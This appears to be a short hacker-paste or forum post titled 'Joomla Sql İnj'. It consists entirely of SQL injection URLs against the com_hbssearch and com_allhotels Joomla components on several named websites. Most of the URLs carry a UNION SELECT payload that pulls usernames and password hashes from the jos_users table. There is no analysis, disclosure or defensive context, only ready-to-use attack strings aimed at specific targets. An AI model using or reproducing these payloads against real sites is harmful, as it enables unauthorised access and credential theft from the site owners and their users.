Joomla Sql İnj

http://www.portugalbooking.net//components/com_hbssearch/detail8.php?h_id=1+union+select+0,concat%28username,0x3a,password%29,2,3+from+jos_users--



http://holiday-kerala.com//components/com_hbssearch/detail8.php?h_id=1+union+select+0,concat%28username,0x3a,password%29,2,3+from+jos_users--




http://thptxuantruong.com/book//components/com_hbssearch/detail8.php?h_id=1+union+select+0,concat%28username,0x3a,password%29,2,3+from+jos_users--




http://disabledrooms.co.uk/components/com_hbssearch/detail8.php?h_id=1+union+select+0,concat%28username,0x3a,password%29,2,3+from+jos_users--

=> http://www.portugalbooking.net/index.php?option=com_allhotels&task=showhote
ldetails&id=
09+and+1=0+union+select+0,1--